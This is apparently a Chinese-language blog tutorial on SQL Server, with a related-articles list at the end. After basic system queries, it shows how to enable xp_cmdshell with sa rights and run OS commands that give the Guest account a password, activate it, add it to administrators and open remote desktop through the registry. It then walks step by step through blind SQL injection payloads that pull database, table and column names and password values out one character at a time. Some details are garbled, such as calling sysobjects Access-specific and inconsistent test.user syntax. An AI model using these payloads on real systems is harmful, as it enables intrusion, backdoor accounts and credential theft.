目录

SQLServer数据库

SQLServer数据库的查询语句

SA权限开启xp_cmdshell获取主机权限

盲注SQLServer数据库


SQLServer数据库

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 --

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  • db权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个其他数据库:ReportServer、ReportServerTempDB。其中,model和tempdb是默认没有数据表的。

但是如果用navicat远程连接的话,只会显示2个数据库:ReportServer、ReportServerTempDB

SQLServer数据库的查询语句

select @@version;       #查询数据库的版本
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度 #数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB count(name)是查询总数
name是查询名字
*是查询详细信息 #查询数据库
select count(name) from sysdatabases #查询数据库的个数
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息 #查询数据表
select * from sysobjects where type='u' #查询当前数据库的所有表的详细信息
select count(name) from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的个数
select name from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的名字
select * from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的详细信息 #查询列
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息 #查询数据
select count(*) from test..user #查询test数据库user表的数据的条数
select * from test..user #查询test数据库user表的所有数据

SA权限开启xp_cmdshell获取主机权限

如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启

select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  #判断xp_cmdshell是否打开,1就是打开了,0就是关闭了

execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令 或者
exec sp_configure 'show advanced options',1; #将该选项的值设置为1
reconfigure; #保存设置
exec sp_configure 'xp_cmdshell',1; #将xp_cmdshell的值设置为1
reconfigure; #保存设置
exec sp_configure #查看配置
exec xp_cmdshell 'whoami' #执行系统命令 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口

盲注SQLServer数据库

Access数据库特有的表是:sysobjects  ,所以可以用它来判断是否是Access数据库

exists(select*from sysobjects)

判断xp_cmdshell是否存在

and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')  

 判断当前数据库用户权限

and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常为sa
and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public')) //public权限,较低

判断数据库的个数

 and (select count(name) from sysdatabases)>N

判断dbid,一般数据库有多少个,dbid的值就为多少

 and (select count(*) from sysdatabases where dbid=N)=1

判断当前数据库名

判断数据库的长度,由以下得知数据库的长度是8
and len(db_name())>5 //正常显示
and len(db_name())>10 //不正常显示
and len(db_name())>7 //正常显示
and len(db_name())>8 //不正常显示 判断数据库字符的ascii值
and ascii(substring(db_name(),1,1))>95 //正常显示
and ascii(substring(db_name(),1,1))>100 //不正常显示
and ascii(substring(db_name(),1,1))>96 //正常显示
and ascii(substring(db_name(),1,1))>97 //不正常显示 所以数据库的第一个字符的ascii值为97,即为a。 以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97
数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97
直到爆出数据库最后一位字符,得到数据库名字。

根据dbid得到所有数据库名

判断dbid数据库的长度,由以下得知dbid为1数据库的长度是8
and len(db_name(1))>5 //正常显示
and len(db_name(1))>10 //不正常显示
and len(db_name(1))>7 //正常显示
and len(db_name(1))>8 //不正常显示 判断dbid为2数据库字符的ascii值
and ascii(substring(db_name(2),1,1))>95 //正常显示
and ascii(substring(db_name(2),1,1))>100 //不正常显示
and ascii(substring(db_name(2),1,1))>96 //正常显示
and ascii(substring(db_name(2),1,1))>97 //不正常显示 所以dbid为1数据库的第一个字符的ascii值为97,即为a。 以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97
数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97
直到爆出数据库最后一位字符,得到数据库名字。

这里假设我们知道了数据库中存在  test 数据库。

爆破test数据库中表的个数

and (select count(name) from test..sysobjects where xtype='U')>N

爆破test数据库中表的长度和名称

爆破test数据库中第一个表的长度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 1 id from test..sysobjects where xtype='U')))=N
爆破test数据库中第一个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),1,1))>115
爆破test数据库中第一个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),2,1))>115
爆破test数据库中第一个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),3,1))>115
....... 爆破test数据库中第二个表的长度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 2 id from msdb..sysobjects where xtype='U')))=N
爆破test数据库中第二个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),1,1))>115
爆破test数据库中第二个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),2,1))>115
爆破test数据库中第二个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),3,1))>115
.......

这里假设我们爆出了user表

爆破test数据库中user表的列数

and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='user'))=N

爆破test数据库中user表的列名 

爆破test数据库中user表的第一列的长度:
and len((select top 1 col_name(object_id('user'),1) from test..sysobjects))>10
爆破test数据库中user表的第一列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),1,1))>97
爆破test数据库中user表的第一列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),2,1))>97
爆破test数据库中user表的第一列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),3,1))>97
........ 爆破test数据库中user表的第二列的长度:
and len((select top 1 col_name(object_id('user'),2) from test..sysobjects))>10
爆破test数据库中user表的第二列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),1,1))>97
爆破test数据库中user表的第二列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),2,1))>97
爆破test数据库中user表的第二列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),3,1))>97
........

这里假设我们爆出了password列

爆出test数据库中user表中password列的数据条数 

and (select count(*) from test..user)=N

爆破test数据库中user表中password列中的数据

爆破test数据库中user表中password列中第一行数据的长度
and (select top 1 len(password) from test..user where password not in (select top 1 id from test..user))>N
爆破test数据库中user表中password列中第一行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),1,1))>10
爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),2,1))>10
爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),3,1))>10
........ 爆破test数据库中user表中password列中第二行数据的长度
and (select top 1 len(password) from test..user where password not in (select top 2 id from test..user))>N
爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10
爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),2,1))>10
爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),3,1))>10
........

参考文章:https://www.cnblogs.com/lcamry/p/5763129.html

MSSQL手工盲注

SQL Server手工注入笔记

SQL注入漏洞详解

SQLServer数据库及注入方法的更多相关文章

  1. Access数据库及注入方法

    目录 Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数 ...

  2. MySQL数据库及注入方法

    目录 MySQL数据库 mysql中比较常用的一些函数: 判断MySQL数据库是否存在SQL注入 MySQL数据库文件结构 MySQL数据库密码破解 MySQL UDF提权 MySQL数据库 MySQ ...

  3. SqlServer数据库的一些方法的用途

    一直分不清这三种方法的具体用法现在终于找齐了 ExecuteNonQuery方法和ExecuteScalar方法和ExecuteReader方法的区别 (1)ExecuteNonQuery():执行命 ...

  4. access数据库一般注入方法及偏移注入

    1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...

  5. SQLServer数据库字典维护方法

    启用SQLServer启用管理器,以2008为例 1.设置表信息描述 选中要设置的表,右键点击“属性” . 选择扩展属性 填写要求: 名称:MS_Description 值: 模块名称-表名称 修改语 ...

  6. SQLSERVER数据库迁移的方法

    数据库迁移两种方案:https://www.cnblogs.com/mcgrady/p/7614491.html 方案一 1,先将源服务器上的数据库文件打包(包括mdf和ldf文件),并且复制到目标服 ...

  7. 获取sqlserver数据库中所有库、表、字段名的方法

    获取sqlserver数据库中所有库.表.字段名的方法 2009年03月12日 星期四 下午 12:51 1.获取所有数据库名: SELECT Name FROM Master..SysDatabas ...

  8. 设置SQLServer数据库中某些表为只读的多种方法

    原文:设置SQLServer数据库中某些表为只读的多种方法 翻译自:http://www.mssqltips.com/sqlservertip/2711/different-ways-to-make- ...

  9. 命令行下从bak文件恢复sqlserver数据库方法

    命令行下从bak文件恢复sqlserver数据库方法 注:本文所示访问从SqlServer 2000 - 2014版都是通用的 参考:http://blog.sina.com.cn/s/blog_5c ...

随机推荐

  1. vue之better-scroll详解及封装

    在我们的h5或移动端网页开发中,常常会需要实现滚动加载数据,等需求,而在开发中原生开发往往会带来意想不到的问题,因此我们引入better-scroll来帮我们实现流畅的滚动效果. 什么是better- ...

  2. JAVA使用Collator对中文排序

    首先创建一个集合 public static List<String> init() { List<String> list = new ArrayList<String ...

  3. Memory Networks02 记忆网络经典论文

    目录 1 Recurrent Entity Network Introduction 模型构建 Input Encoder Dynamic Memory Output Model 总结 2 hiera ...

  4. 浅析MyBatis(三):聊一聊MyBatis的实用插件与自定义插件

    在前面的文章中,笔者详细介绍了 MyBatis 框架的底层框架与运行流程,并且在理解运行流程的基础上手写了一个自己的 MyBatis 框架.看完前两篇文章后,相信读者对 MyBatis 的偏底层原理和 ...

  5. Centos7下安装JDK详细过程记录

    1.查询系统是否安装了java: [root@bogon ~]# java -version 根据上图显示,系统默认安装了Openjdk,它和我们使用的java jdk有些区别(具体的可度娘),所以需 ...

  6. 分享15个实用VSCode插件,快来收藏吧!

    Visual Studio Code 是由微软开发的一款免费.跨平台的文本编辑器.它有卓越的性能和丰富的功能.VSCode 也有一个扩展和主题市场,为了帮助大家挑选出值得下载的插件,我们针对性的收集了 ...

  7. PAT (Advanced Level) Practice 1046 Shortest Distance (20 分) 凌宸1642

    PAT (Advanced Level) Practice 1046 Shortest Distance (20 分) 凌宸1642 题目描述: The task is really simple: ...

  8. LiteOS内核源码分析:任务LOS_Schedule

    摘要:调度,Schedule也称为Dispatch,是操作系统的一个重要模块,它负责选择系统要处理的下一个任务.调度模块需要协调处于就绪状态的任务对资源的竞争,按优先级策略从就绪队列中获取高优先级的任 ...

  9. Java高并发测试框架JCStress

    前言 如果要研究高并发,一般会借助高并发工具来进行测试.JCStress(Java Concurrency Stress)它是OpenJDK中的一个高并发测试工具,它可以帮助我们研究在高并发场景下JV ...

  10. HTML(二):HTML常用标签(上)

    标签语义 学习标签是有技巧的,重点是记住每个标签的语义.简单理解就是指标签的含义,即这个标签是用来干嘛的. 根据标签的语义,在合适的地方给一个最为合理的标签,可以让页面结构更清晰. 标题标签<h ...